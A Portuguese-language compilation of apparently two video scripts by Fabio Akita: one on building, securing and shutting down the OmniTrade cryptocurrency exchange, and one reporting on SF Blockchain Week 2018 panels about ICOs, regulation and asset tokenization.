Por isso muitas pessoas optam por deixar uma boa parte dos seus bitcoins depositados na corretora, o que é cômodo mas um grande risco. Mais do que isso, eles acabam se alavancando. Eu expliquei sobre alavancagem no meu video de COVID, dêem uma olhada. É muito risco pra se assumir considerando que você precisa confiar numa corretora de origem desconhecida que nem tem muito tempo de vida. Toda vez que eu depositava dinheiro ou criptomoedas numa corretora eu ficava extremamente ansioso não se o preço do bitcoin ia subir ou descer, mas se amanhã a porcaria da corretora ainda ia existir e não sumir com meu dinheiro.

Isso foi meu período como trader entre mais ou menos abril a dezembro de 2017. No segundo semestre, meu sócio Rodrigo na Codeminer 42 que é a nossa empresa principal de desenvolvimento de software, me contou que um conhecido dele estava tentando fazer uma nova corretora fazia meses e ainda não tinha conseguido. Obviamente eu imaginei tudo de errado que ele tava fazendo e o Rodrigo brincou se eu não conseguia fazer em menos tempo. Isso foi uma conversa enquanto íamos pra algum cliente enquanto estávamos num Uber.

Então por volta de Outubro de 2017 eu resolvi encarar o desafio. Encontrei uma plataforma open source chamada Peatio. Naquela época e mesmo hoje ela é incompleta mas era um esqueleto muito bom. Se você procurar hoje, nem tente usar do jeito que tá, tem bugs, erros conceituais, e eu reescrevi toda a lógica de comunicação com os servidores de blockchains, todas as verificações de tratamento de filas, daemons, máquinas de estado, integrações e tudo mais. Ele foi feito pra fazer uma corretora pequena que delega a custódia das criptomoedas pra algum serviço de terceiros como a BitGo.

Aliás, aqui vale começar a entender o que está por trás desse ecossistema. Como eu disse sobre a B3 uma corretora tradicional é responsável pela custódia das ações que você compra, não é como no final do século XIX que você literalmente guardava os papeis de ações de empresas num cofre em casa. Assim como o dólar, ações também são digitais hoje em dia. Mas existe essa responsabilidade de custodiar essa propriedade que é regulamentada pela Comissão de Valores Mobiliários, a CVM. Um banco por exemplo, custódia seu dinheiro, pra você não ter que guardar papel moeda embaixo do colchão.

Em criptomoedas, pra você poder negociar dentro de uma corretora primeiro precisa depositar dinheiro ou criptomoedas e com isso ter um saldo pra negociar. Significa que a corretora precisa custodiar seus ativos. No caso de reais tudo bem porque você transfere da sua conta de banco pra conta de banco da corretora. Mesmo se a corretora for chinfrim o dinheiro teoricamente tá num banco grande tipo Caixa Econômica ou Banco do Brasil e não vai simplesmente sumir por erro técnico. Aliás, preciso comentar rapidamente que a integração de APIs de bancos tradicionais é uma grande porcaria e os bancos digitais não me impressionaram nem um pouco também.

Enfim, não existe o equivalente banco pra criptomoedas. Você transfere da sua carteira direto pra carteira da corretora. E aqui é um risco enorme porque se tiver um erro técnico ou vulnerabilidade no código mal feito das corretoras, um hacker ou algo assim poderia roubar essas criptomoedas e isso aconteceu dezenas de vezes em diversas corretoras não só no Brasil como em vários países do mundo tipo Coréia do Sul ou mesmo Japão. Por isso começaram a surgir empresas que se especializaram em ser o custodiante das criptomoedas de forma que corretoras não precisassem se preocupar tanto.

A estratégia é simples. Pra poder cumprir com o volume diário de saques que acontecem normalmente, as corretoras mantém um certo tanto no que chamamos de hot wallets, que são carteiras que a plataforma acessa automaticamente. Mas pra se proteger de eventualmente um hacker invadir a plataforma, mantém-se a maior parte em outro lugar, num cold wallet, que a plataforma não tem acesso automático e normalmente precisa de duas ou mais pessoas de verdade pra assinar a transferência entre as duas carteiras manualmente.

Porém, uma BitGo obviamente precisa lucrar e pra isso ela cobra uma taxa de administração dessa custódia. É meio como um seguro que você paga porque corretamente assume que não sabe como proteger essas coisas. Quem achou que sabia se deu mal e foi roubado por hackers. Eu no meu caso decidi que não ia usar um custodiante e custodiar eu mesmo. E é nesse caso que plataformas open source que você vê por aí não vão te ajudar.

Eu montei minha própria infraestrutura no Google Cloud, fiz clusters separados pra plataforma web que os clientes acessam, outro cluster completamente isolado e sem acesso pela internet pública com os servidores de blockchain de cada criptomoeda como Bitcoin, Ethereum, XRP, Dash e outros, cada qual rodando num container isolado. E a comunicação entre a plataforma web e os blockchains sendo intermediado por um sistema separado de filas e daemons que recebem as ordens antes dos blockchains. Portanto mesmo se alguém achasse uma vulnerabilidade na plataforma web, não teria nenhum acesso direto a nenhum dos blockchains. E quando eu falo blockchains, me refiro às hot wallets, que são cópias dos blockchains de cada moeda com a capacidade de assinar transações usando a chave privada da nossa carteira hot.

Por que eu fiz isso? Porque eu realmente senti que eu tinha know-how suficiente. Está virando um padrão eu dizer isso, mas eu não sou nenhum especialista em segurança, no sentido que meu trabalho principal não é esse. Mas eu estudo e pratico segurança em projetos reais desde a época da bolha da internet de 2001. Vamos dizer que eu sei uma coisa ou duas sobre segurança. E de quebra eu queria mesmo exercitar Kubernetes então aproveitei pra aprender Kubernetes e subir a estrutura que eu tinha em mente, e isso foi meu mês de dezembro de 2017.

Nesse ponto eu já não tava programando sozinho. Alistamos vários programadores da Codeminer pra me ajudar, alguns refizeram o front-end, alguns me ajudaram a corrigir mais bugs que fomos encontrando na plataforma open source, atualizando diversas bibliotecas e práticas de código antigas, adicionando testes automatizado pra muita coisa que não tinha e no final ele ficou razoavelmente melhor e internamente diferente do que era o open source original.

Em janeiro de 2018 a bolha já tinha estourado. Mas tudo bem, por um lado eu achei que seria bom porque muitas das corretoras ruins ou realizando más práticas iam sumir com o tempo então continuei desenvolvendo e foi quando decidimos contratar uma empresa terceira de auditoria de segurança, que passou o mês realizando testes pra ver se havia alguma vulnerabilidade que eu não tinha visto. Nenhum sistema online é 100% seguro e se eu fosse o invasor havia alguns caminhos bem tortuosos que eu podia tentar pra invadir, mas a chance era improvável demais dada a infraestrutura e contingências que colocamos.

Daí por volta de fevereiro o desenvolvimento da primeira versão tava completo e a auditoria voltou que depois de um mês de tentativas pelo menos nenhum bug grosseiro foi encontrado. Então lançamos ao público sem muito barulho. Nosso pensamento na época e desde então foi o seguinte: o mercado ainda estava infestado de piramideiros e corretoras ruins. Vamos acreditar no mercado, que em 1 ou 2 anos, agora que a histeria da bolha estourou, pra deixar ele se auto-regular. Enquanto isso ficaríamos operando sem muito barulho e construindo credibilidade por não oferecer produtos ruins e estando sempre solventes, que era outra coisa que poucos ofereciam: garantia que tudo que você deposita vai conseguir sacar sem nenhum problema. Isso é tanto verdade que agora que fechamos devolvemos tudo aos clientes. Isso é quase uma novidade nesse mundo onde várias empresas de criptomoedas fecham e nunca devolvem tudo dos clientes.

No mínimo agora eu tinha onde depositar as minhas próprias criptomoedas e dormir tranquilo sem acordar no dia seguinte e descobrir que a maldita corretora foi hackeada ou faliu. E durante os meses seguintes fomos melhorando mais bugs, performance, escalabilidade, segurança e adicionando mais criptomoedas. Não sei se eu era o único mas com certeza era um dos poucos que custodiava tudo nos meus próprios servidores de blockchain.

Agora tem outro problema. Liquidez. O problema do ovo e da galinha de qualquer corretora é que todo novo cliente entra numa plataforma dependendo do livro de ofertas. Se não tiver ninguém negociando, ninguém entra. Mas se ninguém entrar nunca vai ter ninguém negociando. Por causa disso muitas corretoras simplesmente mentem no livro de ofertas e adicionam volumes completamente falsos. Se você não entende tudo que eu falei até agora, não iria conseguir diferenciar, mas se parar pra observar não é tão difícil encontrar os padrões de um livro falso. Volume falso então chegava a ser vergonhoso.

Não digo que é só no Brasil não, em diversos países da Ásia como na China você via várias falsificando os volumes na cara dura. É uma falsa liquidez com o objetivo de atrair pessoas de verdade e ir substituindo as ordens falsas por ordens de verdade. Se fossem só ordens falsas mas que representam um volume de verdade ainda vá lá. Eu diria que o mercado tradicional faz a mesma coisa, particularmente no mercado de opções que tem bem menos liquidez que no de ações. Liquidez é sempre o problema.

Pra não ter que fazer números falsos nas plataformas ainda existe outra opção, os market makers. Literalmente eles criam o mercado e garantem a liquidez, ou seja, se ele colocar uma ordem de venda de 1000 reais, e alguém quiser comprar nesse preço, ele vai conseguir fechar a ordem. Existem várias pessoas e empresas que fazem isso no Brasil e fora. Porém eles cobram uma margem de lucro pra eles, taxas de serviço. E não vou dizer qual, mas uma das mais conhecidas começa cobrando na faixa de 20 mil reais por mês pra preencher seu livro de ofertas e oferecer liquidez.

Como nosso objetivo não era crescer rápido, ainda mais que todo mundo ainda tava no choque do estouro da bolha de 2017, preferimos crescer organicamente. Eu e meu sócio colocamos nossas próprias criptomoedas e fomos crescendo um cliente de cada vez. A gente não tinha pressa porque a OmniTrade sempre foi um negócio razoavelmente enxuto. Pra chamar gente massivamente precisaríamos gastar ordens de grandeza mais dinheiro do que gastamos pra construir a plataforma só em marketing, só que mesmo assim a reputação de criptomoedas estava nos chinelos graças aos piramideiros e a toda a publicidade negativa nos noticiários. Como você reverte a má reputação se na TV, jornais, revistas e tudo mais todo mundo associou criptomoedas com piramideiros?

Como sempre, nós sabemos que depois de um crash, uns dois anos depois os mercados tendem a começar a se recuperar. Povo tem memória curta, então toda a má reputação ia começar a se dissipar, e se fizéssemos um bom serviço e continuássemos a evoluir a plataforma, a gente encontraria uma janela de oportunidade no futuro. Nós não tínhamos a necessidade de forçar a barra bem naquele timing horroroso. Além disso, em maio de 2020 aconteceria o evento de halving, que em termos simples é o aumento automático da dificuldade de minerar bitcoins, diminuindo a oferta, o que naturalmente segue com um aumento do seu valor, o que poderia ser gatilho pra uma nova corrida de crescimento.

Então 2018 foi um ano de observação e aprendizado. Foi em agosto de 2018 que eu abri este canal e resolvi postar alguns videos das minhas observações dos mercados. Eu queria ver com meus próprios olhos como a Europa, Ásia e Estados Unidos estavam se comportando e por isso fui pra Seoul, Ilha de Malta, São Francisco e documentei nos primeiros videos deste canal que vocês podem assistir na playlist de Blockchain que vou deixar nas descrições abaixo. E eu ainda vi muito oba oba, muito confete e muita promessa. O mercado ainda não aprendeu com o crash de 2017 e por isso durante toda a vida deste canal você não me viu jogando mais lenha nessa fogueira.

Enquanto isso, meu negócio principal é a CodeMiner. Eu falei rapidamente dela no video de Aprendendo a Aprender. Também falei que a gente costuma jogar desafios pros estagiários e juniors. Um desses desafios era participar da manutenção da OmniTrade. Como eu falei brevemente, a infraestrutura é complicada pra um iniciante, com diversas peças móveis e vários conceitos que pouca gente conhece tanto sobre blockchains quanto finanças. E sempre tivemos um backlog de melhorias, novas funcionalidades, e por dois anos quase todo estagiário que entrou na Code teve que se exercitar puxando alguma tarefa da OmniTrade. Só o setup do projeto todo já é mais complicado que a maioria dos projetos web por aí então era um bom exercício.

Outro conceito que eu já falei em outros videos, como no Começando na Carreira de TI é que eu acredito que tanto um estagiário quanto um sênior devem ser capazes de chegar numa solução similar de código. A diferença é que um sénior já teve anos de experiência e de 20 caminhos diferentes, ele sabe que 18 não vão funcionar, daí ele foca nos 2 de maior chance. Um estagiário não sabe e ele é obrigado a testar todos. A razão pela qual código de estagiário tem má reputação é porque esperam que ele chegue na solução certa no mesmo tempo que um sênior chegaria e sem ninguém revisando. Obviamente vai dar errado. Simplesmente coloque ele perto de alguém mais experiente que vai eliminar 18 tentativas que ele já sabe que não funciona, e que revise o código depois, pra rejeitar as tentativas erradas; e se o estagiário tiver o perfil que falei no video anterior, ele chega num resultado razoável.

Portanto, por 2 anos a OmniTrade também serviu como um bom laboratório pra todos os programadores da empresa. Vários excelentes programadores que estão hoje atendendo meus clientes dos Estados Unidos passaram por isso. Portanto a plataforma representou uma melhoria de qualidade pra Codeminer. A estrutura ficou tão azeitada que eu tirei as mãos, que é outro sinal de maturidade quando o programador original pode parar de mexer e a plataforma não quebra. Se um sistema depende excessivamente do programador original, ele provavelmente está mal feito. Um teste de saúde de todo bom sistema é rotacionar os programadores, fica a dica.

Mesmo não investindo em marketing pelos motivos que expliquei, mesmo não tendo nenhuma equipe de desenvolvimento em tempo integral porque era usado tempo da Codeminer, mesmo não pagando serviços de custodiantes nem de market makers, ainda assim os custos operacionais da OmniTrade chegavam perto de 50 mil reais por mês. É um custo de mais de meio milhão de reais por ano que saía do meu bolso e do meu sócio Rodrigo.

Aliás, isso pode parecer bastante coisa, mas lembrem-se de quanto está o real comparado com dólar. Isso dá míseros 200 mil dólares por ano, que nos Estados Unidos é o salário anual de um bom programador em Silicon Valley. Eu poderia chutar que existem corretoras que pagam bem mais que isso por uma plataforma inferior. Mas chegamos em 2020 e vocês já sabem o que aconteceu.

Foi uma pena fechar porque havia mais coisas que não tentamos porque não precisávamos naquele momento. A arquitetura que montamos aguenta até um nível de escala. Pra um nível mais massivo do tipo pra suportar uma Coinbase ou Binance, precisaria de outra arquitetura. Mas não fazia sentido fazer a mais complicada antes do tempo. Outra dica: você não precisa da solução mais complicada no dia um e sim, se você der certo você vai reescrever uma parte ou todo o seu software, é inevitável. Não me venha com conversas de amador de “vamos fazer ‘certo’ da primeira vez” porque isso é garantia de gastar demais e fazer errado.

Mesmo antes desta crise, o mercado de criptomoedas continuou com os malditos piramideiros, poucos sobreviveram, e continua custando caro tentar se diferenciar dos golpistas. Pra fazer a OmniTrade ir pro próximo nível precisaríamos gastar ordens de grandeza mais do que já gastamos só em marketing. E em 2020 obviamente não vamos fazer isso, e não parece que vamos poder fazer em 2021 já que esta crise nem começou ainda. Pior, assim como a empresa de todo mundo, esta crise põe em risco a minha empresa principal, a Codeminer. Felizmente até hoje não tivemos que demitir nenhum programador, mas como eu disse, esta crise não tem data pra acabar.

Portanto a coisa racional a se fazer é cortar todos os custos não essenciais e neste ponto, a OmniTrade não é essencial pra sobrevivência da Codeminer, então a decisão que precisa ser tomada rápido, é clara. O que já foi investido chama-se custo perdido. E o que vamos deixar de gastar agora chama-se “fazer caixa” que é a prioridade número um de todo empresário no mundo. Quando não se tem uma data pra acabar a crise, nem todo o caixa do mundo pode ser suficiente.

Como não somos nenhuma corretora gigante, não foi tão difícil desligar a plataforma. Primeiro desligamos as negociações. Comunicamos todos os clientes de inúmeras formas e alguns tentamos inúmeras vezes, até ligando um a um quem não estava respondendo. Até o dia de hoje, praticamente todos fizeram saques, ainda temos uma pequena lista de pessoas que não encontramos de jeito nenhum, mas os saldos de todos estão na cold wallet e vamos continuar devolvendo até o último. Eu tenho zero interesse em ficar com o dinheiro dos outros.

Com tudo isso dito, alguns podem se questionar se eu parei de acreditar em criptomoedas. E a resposta é não. Voltando à situação atual, eu disse que os bancos centrais estão se vendo numa situação ruim onde estão sendo obrigados a imprimir mais dinheiro, desvalorizando ainda mais as moedas. E nós estamos só na primeira onda da pandemia. Muitos acreditam que podemos estar pra entrar numa segunda onda. A recuperação aparente dos mercados financeiros não é uma garantia e eu diria que a probabilidade maior é que nós ainda vamos ver mais um crash brutal nas próximas semanas ou meses. O crash pós carnaval fez os mercados perderem uma média de 40% do seu valor. Eu ainda acho que vamos chegar a 50% antes de enxergar o fundo.

Eu ainda estou segurando os bitcoins que eu comprei em 2017. Comprei mais em 2018 e um pouco em 2019. Não só criptomoedas, estou comprado em ouro também, imóvel, dólar, fundos e ações. Eu diversifiquei o quanto eu podia e mesmo assim pode não ter sido suficiente. E aproveito pra dizer, eu não sou analista financeiro, por isso não me façam perguntas do que você devia fazer com seu dinheiro ou investimentos, porque eu não pretendo responder. Eu mesmo não tenho certeza dos meus, e eu tenho amigos que tem anos de experiência no mercado financeiro. Faça sua lição de casa.

No caso particular de bitcoin, o próximo grande evento pra ficar de olho é o halving, que acontece mais ou menos a cada 4 anos. Só aconteceram dois na história até agora, em novembro de 2012 e em julho de 2016. O próximo vai acontecer daqui 26 dias a contar de hoje, 15 de abril de 2020. Aqui eu diria que “se ficaram com dúvidas pra mandar nos comentários abaixo”, porém o video do COVID-19 que eu fiz acabou viralizando e atraiu todo tipo de gente fazendo comentários inúteis. Eu leio praticamente todos os comentários que vocês fazem e aquilo virou improdutivo por isso desativei. Se acontecer a mesma coisa com este vou desativar também então atenha-se a comentários de verdade. Enfim, se curtiram o video mandem um joinha, assinem o canal, cliquem no sininho pra não perder os próximos episódios e não deixem de compartilhar com seus amigos. A gente se vê na próxima, até mais!

Descrição no YouTube

Finalmente, para finalizar minha “Peregrinação Blockchain” pelo mundo, eu termino em São Francisco. Participei do evento Epicenter do SF Blockchain Week nos dias 8 e 9 de Outubro de 2018.

Neste episódio, além de descrever a situação atual dos Estados Unidos do ponto de vista de investidores ocidentais e orientais, vou explicar conceitos que NINGUÉM explica da forma certa em nenhum canal do Brasil. Os evangelistas brasileiros precisam aumentar o nível.

Esqueça canal de YouTuber financista, não sabem o que estão dizendo. Vamos aumentar o nível dessa conversa neste canal.

Neste episódio vamos falar de alguns dos problemas da discussão de Proof of Work e Proof of Stake e inclusive mencionar outras formas de consenso como Proof of Space-Time.

Vamos entender o que são secure enclaves, zero knowledge proofs, porque isso é importante.

Vamos também conhecer quem são as pessoas importantes que você deveria seguir (dica: nenhuma do Brasil) como Michael Arrington, Ella Zhang, Chengpeng Zhao, Vincent Zhao, Alex Shin e muitos outros, prestem atenção.

No final deste vídeo quero compartilhar com vocês minha enorme frustração com quem está representando o mercado de criptomoedas no Brasil: não temos ninguém aqui que tem uma fração da visão dos gigantes que eu vim conhecendo da Ásia, Europa e Estados Unidos.

Compartilhem este vídeo com todo mundo que você conhece que está interessado nesse mundo de blockchains e criptomoedas. Já passou da hora de alguém começar a separar o joio do trigo aqui no Brasil.

Links:

• The Secrets to FBG Capital’s Success May Not be So Secret (https://www.cryptoinvestor.asia/the-secrets-to-fbg-capitals-success-may-not-be-so-secret/)
• How Binance Conquered The Cryptocurrency World With Help Of A Utility Token (https://www.forbes.com/sites/darrynpollock/2018/10/08/how-binance-conquered-the-cryptocurrency-world-on-the-back-of-a-utility-token/#4a0d264d33ef)
• Proof-of-Stake & the Wrong Engineering Mindset (https://medium.com/@hugonguyen/proof-of-stake-the-wrong-engineering-mindset-15e641ab65a2)

Script

Olá pessoal, Fabio Akita

Terça falei de Malta, hoje é dia de São Francisco. Esta é a última parte da minha peregrinação blockchain. Em vez de quebrar em muitos episódios, preferi colocar tudo num único vídeo pra facilitar quem está interessado. Peço um pouco de paciência porque este vídeo vai ser mais longo que o normal.

(…)

Originalmente eu estava planejando ir só pra Malta e até ia descansar um dia em Roma voltando a tempo pro Brasil Game Show semana retrasada. Mas aí fiquei sabendo que iria ter o Blockchain Week em São Francisco então mudei o itinerário em cima da hora e aí virou uma zona. A viagem de Malta pra São Francisco foi terrível. Era pra ser um simples vôo de Malta pra Roma, de Roma pra Dallas e dali pra São Francisco. O Vôo de Roma pra Dallas atrasou, me ofereceram pra Londres e dali direto pra São Francisco. Daí esse vôo atrasou, tive que ir pra Chicago e de lá pra São Francisco. Daí esse vôo também atrasou e eu tive que passar a noite em Chicago. No total levou mais tempo do que ir do Brasil pra Coréia do Sul.

O Blockchain Week foi uma semana inteira de vários eventos. Eu participei de apenas um deles, o San Francisco Blockchain Week Epicenter, mas antes teve o ETH San Francisco e na sequência teve o CESC que foi o Crypto Economics Security Conference, e ao redor deles diversas empresas fizeram meetups próprios, empresas como a Ultrain, ICON, ou Shyft.

Eu só posso falar do Epicenter. E mesmo o Epicenter foi um evento dividido em 5 trilhas paralelas. Eu fiquei no Main stage que era o auditório maior e com os nomes mais pesos pesados, mas teve em paralelo a trilha Titans of Tech e Building Blocks que me pareceu mais voltado à apresentação das empresas patrocinadoras e painéis com investidores. E ainda teve 2 trilhas mais de workshop técnico chamado Blockchain Academy que era hands on nas diversas soluções que os patrocinadores estavam apresentando.

Pelo que foi explicado, o evento aconteceu ano passado também, e teve cerca de 300 pessoas. Por causa do boom do fim do ano passado o interesse cresceu muito, este ano parece que chegou a ter quase 2000 inscritos.

Um grande contraste com todos os outros eventos de blockchain, em Seoul, em Malta, e mesmo os do Brasil, o de San Francisco tinha um peso muito maior de programadores e produtos centrados em tecnologia. Só o fato de ter 2 trilhas inteiras de workshops técnicos já diz muito de porque Silicon Valley ainda é Silicon Valley.

Infelizmente foi impossível assistir todas as apresentações, então vou compilar as principais idéias que eu ouvi.

Assisti só 2 palestras na trilha de Titans of Tech. Uma empresa que eu ficaria de olho é a chinesa SV Insight. Eles fizeram uma pesquisa sobre o mercado global de criptomoedas, aplicações de blockchain em diversas indústrias e ICOs. Eles disseram que iam liberar o whitepaper completo dia 15 de Outubro que já passou, até o momento onde gravei este episódio ainda não achei pra baixar. Não ajuda muito que o site deles é em chinês, se alguém encontrar o report, não deixe de mandar nos comentários.

Um exemplo do problema do mercado geral de tech startups usando blockchains foi a sessão sobre TCR ou Token Curated Registries. Na prática imagine qualquer registro editado publicamente como Wikis ou mesmo listas de recomendação como Yelps ou similares. No caso a idéia vem de listas de ICOs que publicam endereços de wallets para enviar tokens para participar desses ICOs, uma lista editável podia ficar à mercê de agentes maliciosos colocando endereços falsos induzir as pessoas ao erro e roubar os tokens. Em vez de correr esse tipo de risco tiveram a idéia de inventar um registro público onde a edição é baseada em stake. Ou seja, se você quer editar uma informação você coloca seus tokens como garantia, se sua informação for votada como falsa, você perde seus tokens. Ë como o Proof of Stake para votos que muitos blockchains tem perseguido mas no caso para editar registros públicos. O painel teve representantes de duas startups a Dirt Protocol e a Messari. Ambos estão ainda em desenvolvimento, a Messari está em fase de protótipo. Ou seja, ainda não existem de verdade. E muito da falta de credibilidade do mundo de ICOs é justamente esse: muitas promessas mas muito pouco pra realmente se ver.

Do painel um insight que eu já ouvi antes: o maior problema desse tipo de solução é como conseguir adoção em massa? Um dos maiores problemas é a falta de usabilidade para uma pessoa comum. Já é difícil pra uma pessoa não técnica entender a idéia de custodiar suas chaves privadas. Mais difícil ainda fazer essas pessoas instalarem plugins como Metamask em seus navegadores para conseguir usar Dapps como esses baseados em TCR. Usabilidade é um dos problemas mais graves pra adoção em massa e a razão de porque exchanges centralizadas e custodiantes em forma de wallets centralizadas meio como uma Coinbase ainda vão fazer sentido e porque soluções como Exchanges Descentralizadas, as chamadas DEX, ainda tem um longo caminho a perseguir.

As sessões na Main Stage foram estruturadas na maioria como Fireside chats, basicamente painéis moderados com vários nomes e empresas conhecidas como John Burbank da Passport Capital, Jeff Schumacher da BCG Digital Ventures, Michael Arrington da XRP Capital e assim por diante. Não vou descrever um a um mas no geral os temas eram os mesmos que já ouvi em outras conferências.

Esses temas giram em torno das regulamentações, security tokens e tokenização de assets, blockchain sendo usados como balas de prata onde não precisa, governança das blockchain públicas e os problemas de credibilidade e adoção em massa.

Investidores como Michael Arrington deixam muito claro que odeiam regulamentações, em particular porque nos Estados Unidos a SEC classifica todo token como uma security e isso dificulta todo o ecossistema. O Arrington disse em alto e bom som: Fuck the SEC. Se não me engano foi Naval Ravikant da Angellist que explicou isso melhor. Ano passado as criptomoedas quase conseguiram quebrar a barreira pra se tornar mainstream, pagamentos quase aconteceram, Wall Street quase entrou. Mas o bull run rápido demais foi péssimo. A febre incentivou ICOs ruins que falharam e queimaram o dinheiro de muito investidor.

O objetivo era correto, mas como tudo aconteceu rápido demais, o mercado caiu em busca de correção e todo mundo entrou em modo de defesa. China baniu ICOs. Coréia do Sul não chegou a banir as ICOs porque tem tanto investidor que mais de 200 mil fizeram um abaixo assinado ao governo para não banir, mas eles mantiveram uma recomendação para desencorajar ICOs. Japão também baniu ICOs e os Estados Unidos classificaram quase tudo como security, ficando à mercê da SEC.

Initial Coin Offerings tem como objetivo baixar a barreira de entrada para investidores individuais. Eu falei isso em outro episódio mas em Initial Public Offerings ou IPOs o investidor de varejo, as pessoas comuns, só tem a oportunidade de entrar depois que todos os grandes VCs e fundos de investimentos já fizeram a compra inicial mais barata e estão protegidos. Com ICOs qualquer um poderia entrar no começo. Mas com todas as incertezas regulatórias, nenhum ICO pode mais arriscar lançar em público, então a única outra saída é fazer lançamento privado, entre quatro paredes, somente para os grandes investidores, então os ICOs acabaram indo pelo mesmo caminho das IPOs e o investidor comum novamente ficou sem acesso. Esse é o resultado de regulamentação restritiva, as pessoas comuns são “protegidas” tanto de perder dinheiro quanto de ficar mais rico.

A idéia dos blockchains é que qualquer um pudesse ser um nó na rede e minerar via proof of work. Mas tanto Bitcoin como Ethereum acabaram crescendo rápido demais e a dificuldade de mineração por PoW centralizou o controle da mineração na mão de poucos pools que usam hardware caro e não acessíveis, que você compra de empresas como Bitmain. Então um usuário em casa não tem mais a possibilidade de participar do processo de mineração. Substituir proof of work por proof of stake significa que em vez de hardware específico você precisa colocar seus tokens em stake pra participar da votação da mineração, mas se esses coins não podem ser adquiridos por qualquer um e só podem ser obtidos por private sales, significa que nesse caso também vai haver centralização de quem teve possibilidade de adquirir muitos tokens na fase de pré-venda fechada.

Além desse problema da quebra da descentralização ainda tem o problema da credibilidade. Como eu expliquei nos episódios de Seoul, lá eles criaram uma estrutura informal conhecida como Syndicates. A forma de levar os tokens pras mãos das pessoas é via listing, ou listagem desses tokens nas principais exchanges como Bithumb ou Binance. Todo mundo quer ser listado. Mas pra isso você precisa passar pelos syndicates. Um dos painéis mais interessantes foi de novo com Michael Arrington fazendo perguntas à Jack Lee da HCM Capital, Alex Shin da Hashed, Shinhae Lee da GBIC, David Lee da Refactor Capital. Era um painel de investidores do Ocidente vs investidores do Oriente. E o Arrington, como sempre sem travas na língua, levantou de cara essa questão: nós sabemos que existe essa estrutura, quanto vocês cobram pros ICOs listarem seus tokens? E de fato, o fee pode ir de 500 mil ou 1 milhão de dólares, e os syndicates chamam isso de budget de marketing (!!) Na prática, pra você conseguir listar sua startup numa Nasdaq também não vai sair nem um pouco barato. Achei engraçado porque nesse mercado existem várias estruturas desse tipo que todo mundo sabe que existe mas ninguém comenta oficialmente. É como uma máfia mesmo.

Também achei interessante o Alex da Hashed dizer que eles são uma crypto fund que investe em cerca de 65 startups mas somente 5 são da Coréia do Sul e dessas umas 3 são de amigos de faculdade dos fundadores. Faz você pensar sobre como os asiáticos estão investindo, onde estão investindo.

Nessa discussão também soltaram que por causa das pressões governamentais muitas empresas saíram da Coréia pra outros países como Singapura. Mas eles não recomendam Cingapura a menos que você seja asiático, não é um lugar fácil para abrir empresa, você só vai pra lá se não tem outra opção. Novamente, a falta de regulamentação clara tem causado várias empresas a peregrinarem de país em país, como eu disse no episódio anterior com a Binance relocando pra Malta onde as leis ficaram mais flexíveis. E isso porque na Coréia do Sul ganhos em cripto não são taxados.

Em paralelo, em outro painel tivemos Ella Zhang co-fundadora da Binance e a cabeça da Binance Labs, um fundo de investimento de 1 bilhão de dólares que estava anunciando uma incubadora em São Francisco, que já recebeu 500 aplicações e selecionaram 50 para iniciar no programa e estão filtrando pra 8 que devem ver se vão se tornar investimento ou não. Eles tomam 7% de equity por um seed de 100 mil dólares. No mesmo painel estava Vincent Zhou da famosa FBG Capital da Coréia do Sul. Vincent é exatamente o que os coreanos perseguem: ele era um trader que iniciou com um capital de 10 mil dólares alguns anos trás e transformou esse investimento em 100 mil dólares antes de 2017, chamou amigos pra investir mais e transformou isso em 200 milhões, e com isso abriu a FBG Capital onde 50% dos lucros ainda é em trading.

Eu achei interessante a quantidade de asiáticos nessa conferência, de sul coreanos a chineses até alguns japoneses. A Ásia não está ignorando o Ocidente, pelo contrário, eles querem um pedaço do jogo agora. Apesar dos Estados Unidos ser um dos lugares menos amigáveis pra ICOs eles precisam estar lá para influenciar o mercado e, por consequência, as agências reguladoras. Isso porque apesar de tudo o Japão, por exemplo, tende a querer jogar mais seguro e no final seguir o que os Estados Unidos fazem. E a Coréia do Sul tende a seguir o Japão.

Muitos tem restrições com lugares como Malta ou Chipre por conta da corrupção e lavagem de dinheiro. Então parece que a chave de tudo vai voltar a ser Silicon Valley. No momento em que os Estados Unidos conseguirem colocar uma regulamentação clara, o Japão, a Coréia do Sul e talvez a própria China sigam mais rápido na sequência, causando um efeito dominó do Ocidente para o Oriente. Então o mundo neste momento parece estar em estado de espera.

Apesar de não ser muito prático o que me fascina mais nessas conferências todas é ver a disputa de forças entre investidores ocidentais e orientais, a parte macroeconômica da coisa. Mas pra sair um pouco dessa discussão, vou rapidamente falar de outros assuntos diversos que ouvi por lá.

Ainda sobre modelos de negócio com blockchain, teve outro painel bacana com duas pessoas do mundo do entretenimento. A ex-youtuber Michelle Phan que as mulheres devem conhecer já que foi uma das mais famosas no mundo de estilo e maquiagem e o DJ Justin Blau. A Michelle explicou sua carreira e como os primeiros youtubers tiveram a vantagem de começar numa plataforma nova, mas depois dos primeiros 10 anos hoje youtubers de audiência similar a deles na época recebem 75% menos receita de ads. Por isso o modelo não é mais faturar com ads e sim com patrocínio tradicional, plataformas externas como Patreon. Justin também explicou os custos envolvidos no mundo da música, pesquisas dizem que o artista acaba levando no máximo 12% de tudo que gera. Aliás, eu acho fascinante ver artistas como Justin com um bom conhecimento de blockchains e token economics, coisa que eu nunca vi por aqui. Enfim, existem muitos intermediários entre os geradores de conteúdo e os patrocinadores e por isso a discussão em plataformas como a Ara Blocks onde a idéia é meio como um security token, eu já falei isso nos vídeos da Coréia.

Falando em mais casos de uso, outro interessante foi o painel com Stephane de Baes da Elevated Returns e o Slava Rubin da Indie Gogo. O Stephane faz parte de um grupo que tem diversos imóveis. Justamente imóveis como o próprio nome diz, é um dos maiores armazéns de valor do mundo, trilhões de dólares. Mas eles são imobilizados, altamente Ilíquidos. Eles fizeram uma das primeiras tokenizações de um imóvel de verdade. Eles pegaram um resort que tem em Aspen, gerenciado pela Merriot, e tokenizaram uma porcentagem, não lembro se falaram 10%. Usaram o Indie Gogo pra fazer isso. Foi um negócio de uns 20 milhões de dólares sobre um imóvel lucrativo de 200 milhões, podem até pagar dividendos aos compradores dos tokens. A curiosidade é que 40% dos compradores são da Ásia, o raciocínio é que as pessoas da Ásia também querem se proteger e uma das formas de fazer isso é escolhendo comprar partes de um resort de Aspen, que é um imóvel americano, é mais ou menos a mesma coisa que estar num país de moeda fraca (como a nossa) e se proteger via exposição a dólar, mas desse jeito tem muito menos intermediários e qualquer um pode participar. É justamente uma das idéias de se usar tokens e blockchains para securitizar ativos, o que chamamos de digital assets.

